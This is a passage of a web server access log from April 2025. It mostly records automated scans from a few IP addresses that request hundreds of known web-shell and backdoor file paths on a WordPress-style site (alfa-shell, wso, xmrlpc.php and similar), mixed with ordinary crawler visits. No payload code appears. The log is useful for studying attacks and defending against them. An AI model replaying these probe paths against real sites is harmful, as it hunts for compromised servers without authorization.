[30/Apr/2025:00:55:41 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:42 -0400] "GET /.well-known/pki-validation/fond.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:43 -0400] "GET /wp-admin/css/colors/sunrise/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:44 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:44 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:45 -0400] "GET /wp-content/plugins/WordPressCore/blkfqnikz.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:45 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:46 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:47 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:47 -0400] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:48 -0400] "GET /wp-includes/bmccxior.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:49 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:50 -0400] "GET /wp-includes/customize/upfile.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:50 -0400] "GET /aged.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:51 -0400] "GET /wp-includes/Text/Diff/Renderer/install.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:52 -0400] "GET /wp-content/languages/index.php.suspected HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:53 -0400] "GET /wp-includes/class-wp-cache.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:53 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:54 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:55 -0400] "GET /wp-content/uploads/option.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:55 -0400] "GET /wp-includes/amaxx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:56 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:57 -0400] "GET /wp-admin/images/system.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:57 -0400] "GET /wp-content/plugins/fix/00.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:58 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:58 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:55:59 -0400] "GET /wp-includes/css/about.php7 HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:00 -0400] "GET /php.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:01 -0400] "GET /wp-admin/user/network.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:01 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:02 -0400] "GET /wp-content/themes/ccx/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:03 -0400] "GET /wp-includes/certificates/cloud.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:04 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:04 -0400] "GET /.well-known/pki-validation/worksec.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:05 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:06 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:07 -0400] "GET /home/bmlfvgdl.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:07 -0400] "GET /wp-admin/ccx/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:08 -0400] "GET /include/Lurd.class.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:08 -0400] "GET /.well-known//.well-known/owlmailer.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:09 -0400] "GET /wp-content/uploads/9_abc.phtml.jpg HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:10 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:10 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:11 -0400] "GET /.well-known/kwggvpup.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:11 -0400] "GET /wp-content/plugins/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:12 -0400] "GET /wp-content/upgrade/alfa-shell-v4.1-tesla-decoded.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:12 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:13 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:14 -0400] "GET /wp-content/plugins/backup-backup/includes/1155949024...php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:14 -0400] "GET /wp-includes/cqhnpmqs.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:15 -0400] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:16 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:16 -0400] "GET /wp/wp-includes/menu.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:17 -0400] "GET /wp-includes//wp-includes/admin-bar.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:17 -0400] "GET /wp-admin/network/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:18 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:18 -0400] "GET /wp-content/upgrade/pdf.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:19 -0400] "GET /wp-admin/user/1.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:19 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 40.113.19.115 - - [30/Apr/2025:00:56:20 -0400] "GET /wp-admin/maint/edit.php HTTP/1.1" 301 795 "-" "-" 4.227.36.96 - - [30/Apr/2025:00:59:42 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 20.171.207.242 - - [30/Apr/2025:00:59:46 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 173.249.43.220 - - [30/Apr/2025:01:21:10 -0400] "GET /wp-content/plugins/HelloDollyV2/hello_dolly_v2.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 173.249.43.220 - - [30/Apr/2025:01:21:40 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 106.75.24.96 - - [30/Apr/2025:01:39:24 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/558.52 (KHTML, like Gecko) Chrome/66.0.38 Safari/537.36" 188.143.244.130 - - [30/Apr/2025:01:46:37 -0400] "GET /dash/upload/design_agency_portfolio_02122019150035.jpg HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.130 - - [30/Apr/2025:01:46:39 -0400] "GET /dash/upload/design_agency_portfolio_02122019150035.jpg HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.130 - - [30/Apr/2025:01:46:44 -0400] "GET /dash/upload/design_agency_portfolio_02122019134444.jpg HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.130 - - [30/Apr/2025:01:46:45 -0400] "GET /dash/upload/design_agency_portfolio_02122019134444.jpg HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.130 - - [30/Apr/2025:01:46:51 -0400] "GET /dash/upload/design_agency_portfolio_02122019131118.jpg HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 188.143.244.130 - - [30/Apr/2025:01:46:52 -0400] "GET /dash/upload/design_agency_portfolio_02122019131118.jpg HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 66.249.79.169 - - [30/Apr/2025:01:57:36 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.167 - - [30/Apr/2025:01:57:36 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 36.41.75.167 - - [30/Apr/2025:01:58:04 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 62.210.80.46 - - [30/Apr/2025:02:00:56 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 64.23.168.139 - - [30/Apr/2025:02:39:42 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible)" 34.212.70.133 - - [30/Apr/2025:02:45:09 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11" 18.246.213.201 - - [30/Apr/2025:03:17:52 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" 208.100.26.247 - - [30/Apr/2025:03:42:20 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Mobile/14E304 Safari/602.1" 167.71.236.112 - - [30/Apr/2025:04:08:42 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 147.185.132.246 - - [30/Apr/2025:04:38:04 -0400] "GET / HTTP/1.1" 301 795 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com" 212.34.140.200 - - [30/Apr/2025:04:39:57 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 54.81.43.75 - - [30/Apr/2025:04:55:07 -0400] "GET /robots.txt HTTP/1.1" 301 795 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0" 54.81.43.75 - - [30/Apr/2025:04:55:16 -0400] "GET /instapower/feed HTTP/1.1" 301 795 "-" "Rome Client (http://tinyurl.com/64t5n) Ver: UNKNOWN" 107.174.224.18 - - [30/Apr/2025:05:11:17 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0" 111.172.249.49 - - [30/Apr/2025:05:16:57 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.169.106.13 - - [30/Apr/2025:05:33:45 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:33:46 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:33:47 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:33:49 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:33:50 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:33:51 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:33:52 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:33:52 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:33:54 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:33:54 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:33:55 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:33:57 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:33:59 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:01 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:02 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:04 -0400] "GET /headerg.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:06 -0400] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:08 -0400] "GET /wp-content/plugins/seoo/alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:10 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:11 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:13 -0400] "GET /content.php888 HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:15 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:18 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:21 -0400] "GET /wp-content/themes/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:25 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:26 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:29 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:31 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:31 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:33 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:34 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:36 -0400] "GET /hello.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:37 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:38 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:39 -0400] "GET /ralphwetzel/theonionbox HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:40 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:42 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:43 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:45 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:46 -0400] "GET /priv.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:47 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:48 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:49 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:51 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:52 -0400] "GET /wp-includes/rest-api/alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:54 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:54 -0400] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:56 -0400] "GET /1p.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:34:58 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:35:02 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:35:05 -0400] "GET /Js.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:35:11 -0400] "GET /delpaths.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:35:15 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:35:18 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:35:20 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:35:25 -0400] "GET /feed-rss2-queue.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:35:27 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:35:30 -0400] "GET /filemanager.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:35:31 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:35:34 -0400] "GET /wp-includes/block-patterns/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:35:38 -0400] "GET /404.php123123 HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:35:40 -0400] "GET /exif.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:35:41 -0400] "GET /extractable-loader-head.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:35:43 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:35:44 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:35:45 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:35:52 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:35:55 -0400] "GET /wp-content/themes/twentyeleven/functions.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:35:58 -0400] "GET /alumni_reg.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:35:59 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:36:03 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:36:06 -0400] "GET /autoload_classmap.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:36:08 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:36:11 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:36:13 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:36:17 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:36:19 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:36:20 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:36:22 -0400] "GET /wp-admin/css/colors/file.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:36:23 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:36:24 -0400] "GET /fi2.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:36:26 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 34.130.120.204 - - [30/Apr/2025:05:23:42 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 52.169.106.13 - - [30/Apr/2025:05:36:28 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:36:30 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:36:31 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:36:32 -0400] "GET /admin.php?attempt=1 HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:36:33 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:36:36 -0400] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:36:38 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:36:41 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:36:43 -0400] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:36:45 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:36:49 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:36:51 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:36:53 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:36:56 -0400] "GET /1.php7 HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:36:58 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:02 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:03 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:04 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:08 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:09 -0400] "GET /csv.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:09 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:11 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:13 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:15 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:16 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:20 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:21 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:23 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:24 -0400] "GET /curl.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:25 -0400] "GET /alfa1.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:27 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:30 -0400] "GET /BIBIL_0DAY.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:31 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [30/Apr/2025:05:37:33 -0400] 